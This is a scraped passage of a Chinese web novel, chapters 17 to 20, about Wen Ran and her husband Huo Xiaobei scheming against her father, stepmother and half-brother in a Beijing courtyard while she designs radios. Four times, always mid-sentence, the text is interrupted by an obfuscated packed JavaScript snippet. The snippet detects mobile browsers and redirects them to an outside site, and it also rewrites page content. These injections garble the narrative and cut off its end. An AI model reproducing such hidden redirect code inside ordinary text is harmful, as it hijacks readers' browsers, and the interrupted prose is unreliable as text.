如果她在场,到时全部的焦点就会牢牢限制在这件桃色新闻上,霍骁北就更不好辟谣洗白了。 而且搞不好温宝昌会厚脸皮地打着为她好的名义要求两人离婚,那可就真纠缠不清了。 况且温宝昌几人的累累罪行实在不能出自她口。 她虽然是受害者,但受害者讲自己怎么受委屈怎么受虐待多少会带点卖惨意味。 可她要是表现得很平静,表现得她所遭受的一切都是过眼云烟,那旁人也就不好为她出头了。 所以温苒最初计划时,是想请胡同里的老街坊出面,和他们通个气,大家一起去通机厂,到厂领导面前每个人都为她说几句。 一个人为她说话不算什么,可许多人都言辞一致地为她说话,那必然就是真相了。 虽然最后是由霍骁北讲出来,和计划有点出入,但好在结果是喜人的。 两口子头碰头,小声专注地在交流什么,黏糊的氛围旁人很难插进去。 曲平安眼珠子在俩人身上转来转去,心想北哥一米九大高个,在媳妇儿跟前服帖得跟大狼狗一样……额不是,反正就是很听话。 三人吃着饭,前院曲平安他娘小跑着过来,高喊着:“快快,闫春芝进胡同了!” ** 闫春芝一早被赶出去,到了天黑这时才往回走。 她想着儿子的盘算,要是成了就能拿捏住死丫头的男人帮她们办事! 心里激动,闫春芝面上就带了出来,咧嘴笑着,眼珠子冒着精光。 看在胡同墙根底下的孩子眼里,闫春芝涂脂抹粉脸比石灰粉还白嘴比吃了孩子还红,眼神贪婪张着血盆大口朝他们走过来。 “妖怪啊!” 一众小孩儿一哄而散,纷纷各回各家找妈去了。 曲家,曲平安大哥的孩子疯跑回家,记着家里大人的叮嘱,一进屋就喊:“爷!奶!太奶!后头院里那个又老又年轻的奶奶回来了!” 曲平安他娘扔掉锅铲,“闫春芝回来了!我得赶紧通知骁北和平安!” 话说完,一阵风吹过,人就不见了影子。 赵老太:“……” 这儿媳妇肯定是为了看热闹才这么着急的。 中院里,听到报信儿潘老太嗖嗖从屋里出来,“到哪儿了?我老婆子早上没赶上趟儿,这会儿谁都别跟我抢,她们敢再闹我抽他们大嘴巴子!” 曲平安出来拽他妈,闻言无奈地看着潘老太,“奶您这么大年纪就别凑热闹了!万一搡您一跤您当是闹着玩儿呢?您带孩子老老实实吃饭吧!” 他还说他妈,“妈您快跟我进屋,咱家还没开饭吧您赶紧扒拉两口,一会儿闹起来可就全靠您了!” 曲母撸起袖子,横眉竖目地越过儿子进了屋,气势非凡地吆五喝六:“好酒好菜都给端上来,待会儿就瞧好吧就!” 老娘们儿干架她怕过谁? 厨房里,又添一双筷子,大家接着吃饭说话,不过耳朵却竖起来捕捉外面的动静。 据说上午闹完那一场后,温宝昌就把自己锁进了北屋,好像到现在都没出来。 资深老中医温苒心想,这老头儿身体是真不错,憋尿能憋这么长时间。 好人不长命,坏人遗千年啊! 看来在把温宝昌赶走之前,她得多气一气这老东西,不能让他过得太痛快。 闫春芝一进中院,就看到了自家台阶下堆着的两扇粉身碎骨的大门,再一看大门的位置,空空荡荡随便来个人都能进出。 她先震惊,而后就是愤怒,快步进了屋,心里一边骂着温苒是死丫头小贱人,一边想这死丫头必须另外掏钱赔偿她们的损失! 厨房里,温苒几人已经从饭桌上下来,趴到窗户边上向外张望。 闫春芝气冲冲进了北屋。 不多时,北屋爆发出一声尖叫:“温宝昌我要杀了你!” 温苒纳闷,“我们刚回来那天,把温志伟赶走她也没这么生气,怎么到宋爱民这儿她竟然都要杀了温宝昌?” 霍骁北看她一眼,心里有个猜测,“晚上说。” 尖叫声之后,温宝昌的怒吼也传出来:“你个泼妇!” 随后是一阵噼里啪啦叮铃桄榔的,听着就很热闹很烧钱。 北屋里遍地狼藉,暖水壶连热水带壶胆洒了碎了一地,收音机也躺在地上四分五裂,这老两口几乎是把能砸得都砸了。 温宝昌红着眼,呼哧呼哧喘着粗气,他当然忍不了闫春芝在他面前这么撒泼胡闹。 上午那一场他已经在胡同里丢尽了脸面,怕是要不了多久还会传到厂里,他都不敢想象到时别人看他会是什么眼神? 现在闫春芝一回来也跟他闹,反了!都反了! 温宝昌抬脚踢倒桌子,“离婚!离婚!!离婚!!!” 他一声比一声大,已经崩溃到失去理智,音量是一点没压着,导致前后院都听见了最后一声‘离婚’。 闫春芝却懵了。 什么?离婚?不行! 离婚了他们娘俩儿的工作怎么办?他们娘俩要住哪儿? 不行不行…… 闫春芝顶着乱糟糟的头发和青肿的脸上前,态度转瞬改变:“宝昌哥~” 温宝昌一把搡开她,指着门:“滚!你给老子滚!去找你那个野种儿子去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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再说他也没说错,要是闫春芝不勾引他他能背叛温慧?闫春芝难道不是明知道他有妻有女还非要给他生孩子?还有气死温慧、陷害温苒让她下乡、霸占房子和工作……加上今天算计死丫头的男人,一桩桩一件件哪个没有闫春芝在背后撺掇? 千错万错都是闫春芝的错! 地上的闫春芝不明所以,她并不知道霍骁北早上说的那番话,她还以为温宝昌是气狠了,连温志伟也不想认了。 肯定是气话! 闫春芝想,温志伟是谁的种别人不清楚难道温宝昌不清楚吗?他可就这么一个孩子啊! “宝昌哥,你说什么呢?” 闫春芝爬过去,抱住温宝昌的膝盖,“你再气你也不能唔——” 瞥到院里围观的人群,温宝昌眼神发狠,一耳光甩过去,“死不悔改!” 闫春芝脑袋一歪摔到地上,脑瓜子嗡楞嗡楞的,差点吐出来。 温宝昌蹲下身体,一手薅着闫春芝头发,皮笑肉不笑地低声警告:“不想离婚就闭嘴!” 闫春芝满脸屈辱地闭上嘴,跟着温宝昌又进了北屋。 接下来,温宝昌就开始了他的表演。 他知道外面有观众,故意扯着嗓子喊,话里话外把事情都推到了闫春芝身上。 他是被勾引的; 温慧是闫春芝气死的; 温苒是闫春芝虐待的; 家产是闫春芝要夺的…… 间或几声闫春芝痛哭流涕的认错回应。 反正一切都是闫春芝的错,他温宝昌清清白白! 院里还有人在盘旋着等热闹瞧。 厨房窗台边上,四个人搬了凳子依次排开坐下,饭上盖满了菜边扒饭边听热闹。 众人:鬼才信你哦?! 温苒下了判断:“看来今天没我们的事了,闫春芝闹不过温宝昌,温宝昌是正式工可以分房,他们要想不流落街头只能指望他。” 曲平安他娘说道:“温宝昌经常去接私活儿,估计他手里攒了不少,他手也松,闫春芝经常涂脂抹粉买新衣服新鞋。” 哦? 温苒眼睛一亮,那看来要赔偿的时候可以狮子大开口了。 想到计划,温苒对曲平安道:“平安哥,你找几个人在温志伟的高中散播消息,重点放在他爹是倒插门他娘是傍尖儿他亲爹身份不明这上面。” 18. 第 18 章 就温志伟那和温宝昌一样好脸面的性子,他被这样指指点点还能在学校里待下去的话,只能证明他确实不是温宝昌的种。 曲平安百忙之中从饭碗里抬起脑袋来,“没问题!” 温苒歪头想了想,又道:“唔,另外再帮我打听打听,温志伟有没有骚扰女同学?还得是那种家世不错的女同学。” 曲母抿了口肉,慢悠悠问道:“他想学他爹倒插门啊?” 温苒险些没忍住笑,“不是,不是倒插门,是吃绝户。” 曲母身体后仰,表情没绷住,“嚯!他们父子俩一个比不要脸啊?” 这父子俩上梁不正下梁歪,正道不走偏挑歪门左道走。 天黑了以后,北屋终于有了动静,闫春芝开门出来,趁着夜色离开了大杂院。 温苒有些拿不准,她该不会是去找宋爱民了吧? 闫春芝这么看重这个大儿子吗? 晚上曲平安要住这边,厨房里还没什么东西,靠北的墙角有一排炕,原先住着一家五口略显拥挤,可要只住一个人那可太宽敞了。 他回家卷了被褥就过来,摊上去发出感慨:“可算是能睡个好觉了!” 温苒对着胡同老大爷的收音机鼓捣,闻言瞥他一下,“你住自己家还睡不好?” “嚯!那可不!”可算找着人诉苦了,曲平安一个鲤鱼打挺坐起来,那叫一个激动:“我跟我爹娘还有我奶睡一屋,他们仨年纪大,夜里睡觉呼噜打得震天响,你一声我一声跟比赛似的,比我下乡那一屋十几个知青都能闹挺!” 接下来的话题就自然而然转向了下乡那些年,曲平安贼拉能白话,一个人一杯水愣是讲了仨小时。 就着他叭叭叭的背景音,温苒把收音机拆了又装回去,还把电路图给画出来,标出了问题和需要更换的零件。 精彩的一天过去,温苒躺进帐篷昏昏欲睡,脑子里还在想着事情。 明天最好去一趟家属院把今天的事情告诉周叔叔,请他找人盯着人事部那边,千万别给宋爱民他们机会把工作转卖出去。 虽说这种可能性不大,但假使有个万一到时候少不了还得扯皮。 霍骁北倒掉洗脚水,进屋拿了张厚毯子给曲平安。 隔壁通了一天风,炕也没烧,这天儿到了夜里估计冷够呛。 他回屋锁上门,钻进帐篷,把媳妇儿捞进怀里,“宋爱民脾气急,心思浅,他先温宝昌一步把房子过户,应该不是靠他自己的本事。” 温苒在他怀里蹭了蹭,慢吞吞打了个哈欠,说道:“说不定是闫春芝在帮他。” 霍骁北猜测也是这个原因。 平安说宋爱民和温志伟不对付,那温宝昌身边能给宋爱民提供助力的,也唯有闫春芝。 闫春芝两个儿子,把本可能落到温志伟手里的房子给宋爱民,这心偏的不是一星半点。 而原因,是因为宋爱民更孝顺?还是闫春芝更喜欢宋爱民这个长子?亦或是偏心宋爱民有利可图? 温苒沉吟着思考,“总不能是闫春芝想一碗水端平,才薅一个儿子的羊毛补贴另一个儿子吧?” 霍骁北有个想法,“也许宋爱民的亲生父亲身份有点特殊。” 温苒一听来了兴趣,爬起来打开床头灯,目光灼灼地看着霍骁北,“怎么特殊了?位高权重?保密人员?建国前的地主资本家?” 霍骁北却挑眉不语,直直看着她。 温苒鼓鼓腮,凑上前吧唧一下亲在他脸上,“快说快说!” 霍骁北点头,这才道:“可能是逃去海外的资本家。” 温苒疑惑,“那几年形势紧张,既然闫春芝和宋爱民有海外关系,怎么一点影响都没有?还有,温宝昌应该不知道宋爱民还有这层关系,不然他不会这么放宋爱民离开的。” 有利可图这四个字在温宝昌身上体现的淋漓尽致,从傍晚那会儿他把一切过错都推给闫春芝就可见一斑。 霍骁北道:“给胡同邻居送东西的时候,我和平安顺便向他们打听了闫春芝的前夫,据说她前夫之前在大户人家里当车夫。” 温苒微微睁大了眼睛,“闫春芝出轨,给她前夫戴了绿帽子!” 什么锅配什么盖,温宝昌出轨,闫春芝也出轨,他们真是绝配。 温苒瞬间冒出一个大胆的猜测。 这俩人看着也不像遇见真爱为爱收心的样子,结婚十几年难道真能忍住本性老老实实守着对方过日子? 会不会私下里,温宝昌和闫春芝已经互相为对方脑袋戴了数十顶绿帽子? “我得让平安哥打听打听。”温苒吃瓜上头,两眼放光。 但随即想了想,她皱起眉,“万一温宝昌在外面有私生子女,那我的计划就得改改了。” 果然是一人计短两人计长。 不是没有可能,霍骁北揉了揉她发顶,却笑着道:“但想来不会影响你的计划。” 温苒好奇地看着他,就听他说:“出轨温宝昌怀孕后还能生下孩子的人,至少得是已婚,这种情况谁能确保孩子到底是谁的?” 就算生下来的孩子跟温志伟一样,长相极其和温宝昌相似,恐怕温宝昌也只会嘴硬否认,不然他的工作就别想要了。 温苒一听也是。 而且温宝昌那小心眼,就算孩子再怎么跟他长得像,他心里都多少会膈应的。 次日霍骁北起得迟了些,发好的面蒸馒头来不及,烙了几张大饼炒俩菜给曲平安带去建筑队。 另外昨晚上和温苒讨论的,有关温宝昌两个的私事,也让他帮忙打听打听。 等温苒起床吃饭,两人先去了趟家属院同步进展,接着拐去通机厂后门的大街上买了几样零件,又四处转了转才回大院。 今天签到系统给了一斤香蕉,也一起拎回去三家分一分。 傍晚曲平安回得迟,他请胡同里小孩儿吃了顿大餐,让他们在温志伟学校传闲话。 那些小孩儿一点没觉得为难,反而一个个乐得拍大腿,还说其实今天学校里就有温志伟的闲话了。温志伟脾气傲性格霸道,偏偏他自己也就那样家世学习都不出彩也不知道有啥看不起别人的,所以在学校里人缘有够差劲儿的,他们可乐意帮这个忙了。 几个学生也没费多大劲,那闲话蹭蹭蹭就传得沸沸扬扬的,这跟温志伟天天拿鼻孔看人不无关系。 这天晚自习后洗漱,集体水池边上,几个早就看不过温志伟做派的男生你一言我一语地大声挤兑起人来。 “哎你们听说了么?六片儿胡同有户姓温的人家,那家可不得了了,老爷们是倒插门,害死了岳父,转头就找了傍尖儿!而且这奸夫淫·妇心肠歹毒,大着肚子闹到了原配跟前,把原配活生生气死了!这还不算,还把原配留下的小姑娘给丢去乡下,他们倒好,舔着个碧莲霸占了人家的房子和工作!” “这不妥妥的白眼狼!畜生!” “姓温?哎咱们温志伟就姓温啊,他家就住六片儿胡同,咱问问他看他晓不晓得?” 被点名的温志伟早就想走了,从六片儿胡同姓温开始他就有种不好的预感,可还是被一众起哄的男同学堵在了水池边上。 “想走?” “那姓温的说的就是你家吧?你装什么傻呢?” “你爸是倒插门?你妈是二奶?你家的房子都是霸占的别人的!哎我去你家人的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14311251|151970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸皮咋这么大这么厚呢?” “你小子整天牛气哄哄的我还当什么来头呢?就这?” 温志伟涨红了脸,又气又怕,这些人懂什么? 温苒当初想害死他,房子和工作都应该补偿给他才对! 还有他爸,他爸怎么就是倒插门了?他爸就姓温,温苒也姓温,温苒又不跟她娘姓? 在温宝昌眼里,他前半辈子和温家人有关的事情都丢脸至极,属于提都不想提的黑历史,是以在儿子面前他也从来没提过。 而温志伟一向又看不上胡同里的破落户,不跟他们的孩子来往,而他愿意来往的都是捧他臭脚的,肯定不会说他不爱听的。 这也就导致温志伟并不清楚温宝昌是倒插门的事实,他确实知道房子和工作原先确实不是自家的,是温苒她娘留下来的,但在他眼里却是理所应当的。 毕竟以后他娶了媳妇儿,媳妇儿的一切就都是他的,媳妇儿要是死了,那房子和工作当然就归他所有,总不能给了媳妇儿娘家吧?他又不傻! 再说,温苒那早死的娘还有娘家吗? 温志伟恶意得想。 可话说回来,即便温志伟知道自己爹是倒插门,他也有无数种理由开脱,反正不管房子和工作都只能是他的。 同学们早就看不惯温志伟,逮着这次打算好好教训教训这孙子。 “怎么?不服气?”领头的戳着温志伟肩膀,一下一下推着,力气不大但很容易就让人火大。 温志伟到底还没修炼出他爹那样的厚脸皮,沉不住气,摔掉脸盆猛地推回去。 这一推让气氛霎时降到冰点。 温志伟心里打鼓,佯装镇定着大喊:“滚开!好狗不挡道!” 领头同学冷笑一声,“呵!妈的给脸不要,给我上!” 他一马当先,抬脚照着温志伟就一下,温志伟始料不及登时摔了个结实的屁墩子,不等他有反应,拳头就一窝蜂般砸了过来。 第二天。 温志伟顶着一头鼻青脸肿找老师告状。 中年秃头老男人拨了拨眼镜,表情和蔼语重心长道:“温志伟同学是吧,我已经听其他同学们说了,你这性格该好好改了,大家都是工人子弟没有谁高谁低,你整天看不起这个看不起那个这是在搞歧视!” “你告状的同学他爹还是市教育局的主任呢人都没看不起谁!你爹就是个普通工人你到是抖起来了?” 温志伟脸色涨红,张张嘴想要反驳。 中年老师却不给他机会,劈头盖脸就是一顿训斥,还大肆上纲上线,把温志伟气得浑身发抖,转身冲出了办公室。 “哎你这同学!你这同学太没有礼貌了我话都还没说完呢!” 老师气愤地跺脚,转头就跟同事们讲他好心教导温志伟结果这同学却不识好歹。 温志伟气得肺都要炸了,跑到楼下没人的地方,愤愤不平地对着墙角一阵踢打。 “狗眼看人低!我呸!前几年怎么就没把你这种人打倒?等我发达了我不会放过你们的!” 区区一个小主任,迟早有人把位置顶了,我看你还怎么敢在学校里嘚瑟? 温志伟表情恨恨,在心里恶毒地咒骂着。 忽然他余光瞥见教学楼出来一个人影,径直走到车棚里,骑上自行车离开了学校。 望着那人的背影,温志伟眯起眼睛,没记错的话,这女的是他同学,好像叫何超梅。 何超梅虽然其貌不扬,穿着普通,和其他工人子弟看着没什么不一样,但上厕所的时候,他无意间听班上另一个家世不错的同学说起,何超梅她爹是商业局局长。 温志伟顿时计上心头。 19. 第 19 章 后晌快下班的时候,温苒正在南屋调试修好的收音机,不经意间往窗外一瞥,瞥见个鼻青脸肿的猪头跑进了自家西厢。 再一听堂屋动静,哦,是去北屋了。 温苒托腮沉思,那猪头还挺眼熟的,好像是……是…… “爸!” 一声凄惨的饱含委屈的呼唤传到这边来。 温苒:“……” 是温志伟没错了。 可她让平安哥找人传闲话,可没找人群殴温志伟泄愤啊! 谁干的? 干得漂亮! 温苒嗖嗖溜到隔壁屋,在霍骁北的注视下搬了凳子坐到窗户边观察情况,“我有预感,我的计划这两天就能成。” 试想,温志伟在学校被指指点点还被打成这样,遭受着身体和心灵双重的折磨,到了家却还被告知房子没了,一般人都得气出个一二三来,更何况是温志伟这种早就把一切视作他囊中之物的霸道性格。 南屋,温志伟确实不敢相信,甚至顾不上说起他找对象的事,所有注意力都让房子被夺这个事实吸引走了。 “她怎么敢?这房子是我的!是我们的!她一个赔钱货她凭什么要家里的房子?还要夺我娘的工作?她凭什么?” 温志伟越说越愤怒。 在学校他势单力薄,打不过那么多同学,老师也因为那人的家世偏向对方,可这是在家里!他就不信他连温苒一个赔钱货一个贱皮子都制不住! 温宝昌对儿子还是很信任的,这种信任是方方面面的信任。 他觉得儿子聪明有眼界,明明家里有现成的工作却一心想考大学有更远大的出路。 他也相信儿子想考大学就一定能考上,未来一定会有出息。 尤其是和宋爱民那个又孬又蠢的货相比,温志伟在温宝昌眼里就是‘别人家的孩子’,哪哪都好,想办什么就没有办不成的。 温宝昌于是问道:“儿子你有什么想法,爸一定配合。” 温志伟皱眉思考半晌,说道:“之前温苒想害我,再让她害一次,我要房子和工作做补偿!” 这话一出,温宝昌脸色却有些不对劲。 温志伟表情不满,“爸你觉得不行?” 温宝昌赶忙摇头,“本来是没问题,但你不知道,温苒带回来的男人之前当着胡同里所有人的面,说那次是咱们陷害那丫头。” 温志伟瞪着眼睛,“他凭什么这么说?他有证据吗?他算老几他说话大家就信了?” 想起这两天遭受的白眼,温宝昌脸色不大好,“不管有没有证据,他们是信了。” 听见这话,温志伟攥紧拳头,气急败坏地锤打着桌子,嘴里骂骂咧咧:“一帮蠢货!贱人!势利眼!欺软怕硬!等我发达了我不会放过他们的!我就不信了!我非得把他们从我的房子里赶出去!” 没多久,厨房里温苒就看到这父子俩结伴出了门。 曲平安打探消息回来,一坐下就问:“刚才我看温师傅跟人走在一起,那人谁啊?” 温苒:“……温志伟。” 曲平安一口水喷了出来,顾不上震惊抹了把嘴他赶紧解释:“我可没让人对他动手啊!” 温苒点头,“我知道。” 曲平安撇撇嘴,“这俩凑到一起准没憋好屁!” 炉子边霍骁北一个眼刀飞过来,曲平安立马缩起脖子,改口:“准没商量好事……” 霍骁北盛出焖豆腐端到桌上,“吃饭。” 温苒拿碗盛饭,先夹了一筷子水煮牛肉,“好吃!” 曲平安跟完全没见过世面一样,举着筷子都不知道该往哪儿下,“我天,咱家伙食也太好了,我感觉我今天能吃四碗米饭!” 温苒替他补充,“得再加一个馒头。” 曲平安嘿嘿笑,“北哥做饭太香了嘛,我也是控制不住。” 吃着饭,曲平安说起了打探到的消息。 “温师傅没听说有相好,倒是跟他们厂里几个女同志走得很近,私底下有人议论过,其实这种情况不少见的。” “但我听说闫春芝有个两个相好,一个是通机厂的干部一个是百货大楼采购部主任,通机厂那个干部具体是谁我没打听到。” 温苒有种不出我所料的感觉,这才对嘛! 什么模范夫妻?绿帽子夫妻才对! 不过关于这点她还没想好怎么办,总不能让这俩互相抓奸吧?那也太便宜这俩人了,让她们继续给对方戴绿帽子不是更好? 温宝昌父子俩直到深夜才回来,硬是把早就关上的院门砸开,吵得几户人家都没睡好,隔空骂骂咧咧的。 温苒和霍骁北还在睡帐篷,隔音优秀,这点动静丝毫没有影响他们的睡眠质量。 接下来几天,温志伟就住下了,没再回学校。 闫春芝听见信儿,回来胡同一趟。 自从上次她和温宝昌吵架离开后就没再出现,看情况貌似是被温宝昌赶走的,据消息灵通的曲平安说她一直在宋爱民那里帮忙。 今次她好不容易能回来,拉着温志伟一顿哭哭啼啼。 “你大哥现在在外面租房子住,那房子比咱们家厨房还小,转身就能撞到。邻居也不好相处,见天说咱家坏话,还往屋前泼脏水,妈受不了了呜呜……” 她这两天请假没去上班,不然在厂里也指定不好过。 温志伟脸上伤势见好,但各种颜色还没消下去,一张脸花里胡哨的。 他叹气,“妈,你多和爸服软,我也帮你说说话,他会让你回来的,咱们才是一家人,以后咱们就一起好好过日子。” 闫春芝嘴唇动了动,“志伟,爱民是你大哥,你们是亲兄弟,你能不能跟你爸说一说,等厂里房子分下来,让爱民也过去住?” 听见这话,温志伟表情登时就不好看了。 好不容易才把这一家累赘给赶出去他高兴来不及呢,又怎么会再把人迎进来? 何况宋爱民早先就觊觎厂里给他爸分的房子,他又不是傻了,让这么一个有贼心惦记的人住进去? 温志伟用沉默表示拒绝。 闫春芝进一步哀求道:“你大哥一月工资要养一家五张嘴,还得付房租,撑不了多久的,志伟!” 温志伟不耐烦地别过头,“妈!我爸只是个普通工人,能分到多大的房子还不清楚呢!再说过两年我结婚生了孩子,我爸分的房子能不能住下还两说,哪还有地方收留外人?” 闫春芝着急去拽他,“你听妈说,你们是亲兄弟,你现在好好对你大哥,等你大哥以后有出息了也会对你好不会亏待你的……” 温志伟一把甩开他娘,蹭地起身,呼吸急促,“他连自己都养不活我不需要他的施舍!既然妈你觉得宋爱民有出息,那就让他自己买房子!” 他一脸受伤地看着闫春芝,“妈!我在学校被人围殴,受了这么严重的伤还没好,您倒好,一回来都不知道关心我,张口就全是宋爱民宋爱民宋爱民,就他是您儿子我不是吗?” 闫春芝一看也慌了,连忙安慰儿子,“妈错了,妈不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14335722|151970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 提了,儿子你坐下让妈瞧瞧,天杀的哪个瘪犊子下这么狠心的手啊!” 温志伟老实坐下来,“妈,我看上我们班一个女同学,打算跟她处对象……” 闫春芝这次回来没能留下,胡同里邻居下班前她就离开了。 走的时候急匆匆的,仿佛生怕被熟人拽住骂她几句。 温苒这边,让曲平安帮她找了几个不同型号不同品牌的收音机维修,她一一拆开画下电路图,对设计自己的收音机有了思路。 时下收音机还处在模拟电路阶段,直到几十年以后的新世纪才迈入数字时代。 模拟电路阶段的收音机经历三代更迭,从电子管到晶体管再到集成电路,体型也随之变小。 而当下国内正处于晶体管收音机的时代,国营的半导体工厂早在十多年前就实现了流水线生产。 要跟人家成名多年的大品牌竞争,不做点技术上的突破是出不了头的。 温苒于是将目光放在了集成电路收音机上面,为此她和霍骁北专门跑了几趟京导五厂,还在那里碰到了和温苒在一个村子下乡的知青林朝阳,托他的关系买到三种集成电路元件,约好下周在附近的国营饭店见面。 胡同这边,南北屋泾渭分明互不干涉,两边的人偶然碰到也全当没看到,都是冷着脸目不斜视。 当然这只是明面上,实则双方都在暗中观察对面。 温志伟在观察对面,试图寻找机会。 温苒和霍骁北也在观察对面,等待合适的时机,试图给对方创造机会。 温苒接了两单组装收音机的生意,连续几天下班时间后都去机械厂借用工具。 机械厂和通机厂一南一北,距离胡同都不算远,为了避免温宝昌得到什么信儿捣乱,温苒就没有选择通机厂。 电路焊接好,外壳请师傅浇铸出来,最后组装完成的收音机体型比市面上的收音机小一圈,轻巧不占地方,样式更规整好看,同等音量下音质也更清晰。 两台收音机转手卖出去赚了十五块钱,温苒抠出两块钱买了三斤肉。 晚上三人围在一起吃饭,当中央摆着一锅香喷喷的鹌鹑蛋红烧肉,还添了粉条腐竹豆泡,炖熟了掀锅的时候香得隔壁院小孩儿嗷嗷哭。 温苒想着对面北屋的事情,问两人:“你们能看出来吗?温志伟打算做什么?” 曲平安摇头,“我就看到,温志伟那瘪犊子经常瞥你俩屋门口,有一回他以为家里没人,还跑过来撬你们屋的锁头。别的我就不清楚了,这么多天他出门也就上个厕所去个饭店,他倒是找过别人,那人是咱们后头胡同里一个包打听。” “我恰好跟对方熟,给了一包烟,打听到温志伟在让他打听一个女同学,就那个什么局长家的姑娘,你们也早知道的。” 温苒点点头,难道温志伟是想先算计那个女同学,等傍上有权有势的岳父了再回头来教训她? 这怎么能行? “明天我们去见林朝阳,走之前不锁门,我想看看温志伟会不会出手。” 说实话,温苒有点想不到温志伟可能做什么,总不能是偷她的房产证明吧? 曲平安举手,“那我明天请一天假,躲屋里看看他想做什么。” 霍骁北给温苒夹一筷子青菜,看他:“你经常请假,厂里能答应?” 曲平安不在乎道:“反正我都决定去鹏城了,临时工能干就干不让干就不干呗,跟你俩跑,或者打听打听鹏城消息,总归现在跟你俩吃不仅饿不死我我觉着我还胖了不少!” 20. 第 20 章 曲平安确实帮了两人不少忙,卖手表打听消息散播消息还有买零件等等,有他这个包打听省了很多事。 温苒和霍骁北都不是会让朋友吃亏的。 霍骁北当即道:“建筑队那边你能干就接着干,另外咱们办厂的事已经在准备了,你是合伙人不会少你的工资,初期困难点,一个月包吃包住给你十五块钱工资,到了鹏城再重新安排。” 曲平安嘴里的肉都顾不上嚼了,“啊?工资?给、给给给我工资?” 他疯狂摆头,“不行不行不行!我怎么能白拿工资?” 温苒把砂锅盖子一扣,翻脸无情:“不拿工资也没有包吃包住,你别吃了。” 曲平安弱弱地缩回筷子,小心翼翼看向他北哥。 虽然知道北哥说话不顶用,但万一呢? 但果然霍骁北不给他一点希望,冷酷又无情:“那待会儿我盯着他收拾被褥。” 曲平安不敢置信,他北哥这也太没脾气了! 肚子里呱呱着,曲平安嘴上却很识相,“我拿!我拿还不行吗?” 听见这话,霍骁北看向温苒,见她点头,他才拿开砂锅盖子。 曲平安:“……” 第二天,温苒和霍骁北磨蹭到十点多才出门 曲平安躲屋里,窗帘拉上,悄咪咪观察着堂屋,就看温志伟是不是要做点什么。 京导厂附近的国营饭店。 温苒两人要了个包厢,点好菜等林朝阳出现。 说来林朝阳是77年恢复高考第一届考上大学回城的知青,虽然是个大专,但这年头学历还是很值钱的,高中毕业就属于高学历群体了。 据说他家世也不错,会和温苒一样去秦北吃苦,纯粹是他‘思想高尚’,报名下乡时主动选择了最艰苦的地方。 这话温苒其实是不大信的,她感觉更像是林朝阳脑子抽了,中二病犯了,才非要没苦硬吃。 现实总会教他做人,到了大队没两天,当时‘思想高尚’比温苒大了三岁的少年林朝阳就哭出来两个肿核桃眼。 十四岁的温苒都没哭…… 比预计的下班时间还要提前半个小时,林朝阳到了饭店。 菜都还一个没上呢,温苒抓起霍骁北手腕看了眼时间,“这么早?” 林朝阳摘下帽子,脱掉大衣,一屁股坐到对面,拎起壶给自己倒茶,“反正也没我的事。” 唔,这抱怨的语气一听就有故事。 温苒接话,“怎么可能?” 林朝阳叹气,“说来话长。” 难得碰到可以畅所欲言的对象,林朝阳对着温苒和霍骁北开始大吐苦水:“我考上大专回城,本来还沾沾自喜觉得挺不错了,现在进厂实习才明白压根不算个什么。” “我想进研发车间,打听了一圈发现,能进去的要么是有过几年的研发经验,要么是长华长京理工科大的大学生,我一个大专生根本不够看。” 温苒听明白了,林朝阳这是被比他更优秀的人打击到了。 大专生现在还真不至于到不够看的地步,但问题这里是长京市,长京市大学扎堆,大学生自然更是一抓一大把,相比之下大专生就不那么显眼了。 林朝阳又叹气,“还有我实习的那个领导,我想去研发车间学习,打杂也行,只要能学到东西吃点苦又算什么?结果他各种阻挠不说,还带人孤立我,我就没见过这么见不得别人好的!” 心理打击加职场打压,林朝阳俨然正在从意气风发向心灰意冷一蹶不振发展。 温苒给他出主意,“不行你再考一次,就考那几所大学?” 林朝阳:“?!” 林朝阳一脸惊恐,“我疯了?我不行!我不考!我觉得我现在这样挺好的,那什么大学我也不是很稀罕!” 考上考不上都是其次,关键是考试这回事,简直太折磨人了! 他果断认输,“我可能也不是搞研究的那块料,我还是老老实实蹲我的办公室,往管理岗位发展吧。” 那行吧,他自己劝好了自己,温苒不再多说,催促:“东西呢?” 林朝阳从兜里掏出个铁盒子,“里面袋子上标了型号,除了我之前说的我们厂生产的三种,还有沪导厂的两种数字集成电路,以及我们厂最新研发的RPO电路。钱就别给了,到时候你也帮我组一台这样的收音机就行。” 温苒也不和他客气,看一眼都收了起来。 ** 六片胡同大杂院里。 曲平安躲屋里捧着本小说看得津津有味。 今早他装作上班出门,又假装没拿东西回来,其实压根就躲这屋没再出去。 也不知道温志伟那小子有没有被糊弄住。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 